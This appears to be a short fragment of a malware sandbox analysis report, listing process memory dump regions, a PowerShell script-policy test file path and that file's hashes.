memory/4088-7-0x0000000000890000-0x000000000096A000-memory.dmp

memory/4088-6-0x0000000000890000-0x000000000096A000-memory.dmp

memory/4088-11-0x0000000000890000-0x000000000096A000-memory.dmp

memory/4088-12-0x0000000000890000-0x000000000096A000-memory.dmp

memory/2080-14-0x00000000026D0000-0x0000000002706000-memory.dmp

memory/2080-15-0x0000000005270000-0x0000000005898000-memory.dmp

memory/2080-16-0x0000000005050000-0x0000000005072000-memory.dmp

memory/2080-17-0x00000000051B0000-0x0000000005216000-memory.dmp

memory/2080-18-0x0000000005910000-0x0000000005976000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q05kf4yq.5da.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2080-28-0x0000000005980000-0x0000000005CD4000-memory.dmp

memory/2080-29-0x0000000005DE0000-0x0000000005DFE000-memory.dmp

memory/2080-30-0x0000000005E30000-0x0000000005E7C000-memory.dmp

memory/2080-31-0x0000000007550000-0x0000000007BCA000-memory.dmp

memory/2080-32-0x0000000006EA0000-0x0000000006EBA000-memory.dmp